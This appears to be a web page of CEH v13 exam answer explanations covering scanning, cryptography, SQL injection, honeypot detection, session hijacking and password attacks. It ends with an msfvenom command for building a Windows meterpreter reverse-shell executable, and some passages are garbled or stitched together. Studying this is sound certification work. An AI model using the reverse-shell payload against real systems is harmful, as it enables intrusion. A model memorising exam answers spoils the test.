Pass the ECCouncil CEH v13 312-50v13 Questions and answers with ValidTests

Vulnerability scanning solutions perform vulnerability penetration tests on the organizational network in three steps:

1. Locating nodes: The first step in vulnerability scanning is to locate live hosts in the target network using various scanning techniques.

2. Performing service and OS discovery on them: After detecting the live hosts in the target network, the next step is to enumerate the open ports and services and the operating system on the target systems.

3. Testing those services and OS for known vulnerabilities: Finally, after identifying the open services and the operating system running on the target nodes, they are tested for known vulnerabilities.

Digital signatures are designed to provide two key guarantees:

Authenticity – confirming the identity of the sender.

Unforgeability – ensuring that no one else can produce the same signature without the sender’s private key.

These properties are achieved using a combination of hash functions and asymmetric encryption (digital certificates/private keys).

Reference – CEH v13 Official Study Guide:

Module 20: Cryptography

Quote:

“A valid digital signature ensures that the message comes from a legitimate sender (authenticity) and has not been altered or forged (unforgeability).”

Incorrect Options:

A, C, D: Refer to human/visual signatures, not cryptographic properties

===========

True Positive - IDS referring a behavior as an attack, in real life it is

True Negative - IDS referring a behavior not an attack and in real life it is not

False Positive - IDS referring a behavior as an attack, in real life it is not

False Negative - IDS referring a behavior not an attack, but in real life is an attack.

False Negative - is the most serious and dangerous state of all !!!!

A digital signature is created by hashing the document and encrypting that hash with the sender’s private key. Since the hash is specific to the original content, any change to the document invalidates the signature, making it non-transferable to another document.

Reference – CEH v13 Official Study Guide:

Module 20: Cryptography

Quote:

“Digital signatures are based on hashing the document and signing the digest with the private key. This makes each signature unique to the document and ensures tamper resistance.”

Incorrect Options:

B. Incorrect — signature is tied to one document.

C. Hashes are not plain; they are encrypted.

D. Keys can be reused, but signatures are document-specific.

Union-based SQL injection is a technique that uses the UNION SQL operator to combine the results of the original query with the results of one or more additional queries. This allows attackers to:

Retrieve data from different database tables

Extend the result set returned to the web application

Exploit the application if both queries return the same number and type of columns

According to CEH v13:

UNION SELECT can be used to enumerate tables, extract user credentials, or display sensitive data.

It requires knowledge of the structure of the original query.

Incorrect Options:

A. Error-based injection extracts data from database error messages.

B. Boolean-based blind SQLi returns true/false results to infer data.

C. Blind SQLi (generic) relies on no visible output and uses inference techniques.

Reference – CEH v13 Official Courseware:

Module 14: Hacking Web Applications

Section: “Types of SQL Injection Attacks”

Subsection: “Union-Based SQL Injection”

===========

A brute force attack is a method of trying different combinations of passwords or keys to gain access to a system or service. It is not a reliable way of detecting a honeypot, as it may trigger an alert or response from the target. Moreover, a brute force attack does not provide any information about the system’s characteristics or behavior that could indicate a honeypot. A honeypot is a decoy system that is designed to attract and trap attackers, while providing security teams with valuable intelligence and insights. Therefore, an ethical hacker needs to use more subtle and stealthy techniques to detect and avoid honeypots.

The other options are valid techniques for detecting a honeypot. Probing system services and observing the three-way handshake can reveal anomalies or inconsistencies in the system’s responses, such as abnormal banners, ports, or protocols. Using honeypot detection tools like Send-Safe Honeypot Hunter can scan the target network and identify potential honeypots based on various criteria, such as IP address, domain name, or open ports. Analyzing the MAC address can detect instances running on VMware, which is a common platform for deploying honeypots. A honeypot running on VMware will have a MAC address that starts with 00:0C:29, 00:50:56, or 00:05:69. References:

What is a Honeypot? Types, Benefits, Risks and Best Practices

Using Honeypots for Network Intrusion Detection

Detecting Honeypot Access With Varonis

Comprehensive Explanation from CEH v13 Courseware:

CEH v13 describes Firewalking as a reconnaissance technique designed to determine which layer-4 protocols and ports a firewall allows. The attacker sends packets with carefully adjusted TTL values so that the packet expires just beyond the firewall. If the next hop generates ICMP Time Exceeded responses, the attacker can infer which ports the firewall permits. This method mimics normal TTL behavior, making it stealthier than full SYN scans or high-noise probing. Firewalking is expressly highlighted in CEH as a low-profile way to map firewall ACLs without triggering alarms. Broadcast pings are noisy and detectable, passive DNS monitoring does not reveal firewall rule sets, and full SYN scans are easily flagged by IDS systems. Firewalking’s reliance on TTL behavior, combined with protocol-specific probes, makes it the correct and CEH-aligned technique for quietly discovering open ports and firewall filtering rules.

Spear-phishing is a targeted form of phishing that uses personalized and context-rich information to increase credibility. CEH emphasizes that referencing specific internal projects, financial data, or organizational events significantly raises the success rate when attacking high-value targets such as executives. This tailored approach avoids suspicion and exploits trust more effectively than broad or generic phishing attempts.

In CEH v13 Module 03: Scanning Networks, banner grabbing is defined as a technique used during reconnaissance to capture service banners that provide information about:

Web server version

Operating system

Service details

In This Case:

The engineer used Netcat to connect to port 80 (HTTP).

The response reveals the web server software (Microsoft-IIS/6), which is typical of a banner returned in the server's HTTP response headers.

This technique helps identify vulnerable versions of services.

Other Options:

B. SQL injection: Involves sending SQL payloads — unrelated here.

C. Whois query: Provides domain registration info — unrelated.

D. Cross-site scripting: Requires injecting scripts into a web app — not relevant here.

In active session hijacking, after identifying a valid session, the attacker must desynchronize the legitimate communication between the client and the server. To do this, Bob should:

Knock one of the parties offline (typically the client).

Then spoof the session by injecting crafted packets using the guessed sequence number.

From CEH v13 Courseware:

Module 11: Session Hijacking

CEH v13 Study Guide states:

“After identifying a session and predicting its sequence number, the attacker forces the original user offline, allowing them to assume control over the connection using spoofed packets.”

Incorrect Options:

A: Taking over the session is the ultimate goal, but the necessary step before that is disconnecting the original participant.

B: Sequence prediction is already done.

C: Sequence number has already been guessed.

The scenario describes a cryptographic attack where the attacker (in this case, the student) uses a predefined list of commonly used passwords to try and unlock a secured PDF document. This technique is known as a Dictionary Attack.

According to the CEH v13 Official Courseware:

A Dictionary Attack is defined as “a method of breaking passwords by trying out a predefined list of words (dictionary) commonly used as passwords.”

Unlike a brute-force attack, which tries every possible character combination, a dictionary attack relies on known or likely password choices, which makes it faster but less exhaustive.

Dictionary attacks are commonly used against encrypted or password-protected files, login forms, and even hashes.

Relevant distinctions from other options:

A. Man-in-the-middle attack involves intercepting communication between two parties and is unrelated to offline password cracking.

B. Brute-force attack tries all possible character combinations, not just a list of known or common passwords.

D. Session hijacking involves taking over a user session and is unrelated to document password cracking.

Reference – CEH v13 Official Study Materials:

Module 20: Cryptography

Section: "Cryptanalysis Techniques"

Subsection: "Dictionary Attack vs. Brute-force Attack"

CEH v13 eBook or Study Guide — look for Table: “Types of Password Attacks” under “Cryptography Attack Vectors”

This exact technique is illustrated in CEH v13 labs involving John the Ripper, Hydra, and password recovery tools.

Banner grabbing is a technique wont to gain info about a computer system on a network and the services running on its open ports. administrators will use this to take inventory of the systems and services on their network. However, an to find will use banner grabbing so as to search out network hosts that are running versions of applications and operating systems with known exploits.

Some samples of service ports used for banner grabbing are those used by Hyper Text Transfer Protocol (HTTP), File Transfer Protocol (FTP), and Simple Mail Transfer Protocol (SMTP); ports 80, 21, and 25 severally. Tools normally used to perform banner grabbing are Telnet, nmap and Netcat.

For example, one may establish a connection to a target internet server using Netcat, then send an HTTP request. The response can usually contain info about the service running on the host:

This information may be used by an administrator to catalog this system, or by an intruder to narrow down a list of applicable exploits.

To prevent this, network administrators should restrict access to services on their networks and shut down unused or unnecessary services running on network hosts. Shodan is a search engine for banners grabbed from portscanning the Internet.

https://www.infocyte.com/blog/2019/02/16/cybersecurity-101-what-you-need-to-know-about-false-positives-and-false-negatives/

False positives are mislabeled security alerts, indicating there is a threat when in actuality, there isn’t. These false/non-malicious alerts (SIEM events) increase noise for already over-worked security teams and can include software bugs, poorly written software, or unrecognized network traffic.

False negatives are uncaught cyber threats — overlooked by security tooling because they’re dormant, highly sophisticated (i.e. file-less or capable of lateral movement) or the security infrastructure in place lacks the technological ability to detect these attacks.

Nmap provides a scripting engine (NSE) that includes a script named http-methods. This script sends OPTIONS requests to the web server to determine which HTTP methods are supported. Identifying risky methods like PUT and DELETE helps detect misconfigured or vulnerable web servers.

Example command:

nmap --script http-methods -p 80

Reference – CEH v13 Official Study Guide:

Module 11: Hacking Web Applications

Quote:

“The Nmap script http-methods helps identify enabled HTTP methods including potentially dangerous ones like PUT and DELETE.”

Incorrect Options Explained:

B. http-enum is used to enumerate directories and applications, not methods.

C. http-headers retrieves HTTP headers.

D. http-git checks for Git repositories on web servers.

===========

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Example for Windows:

- msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe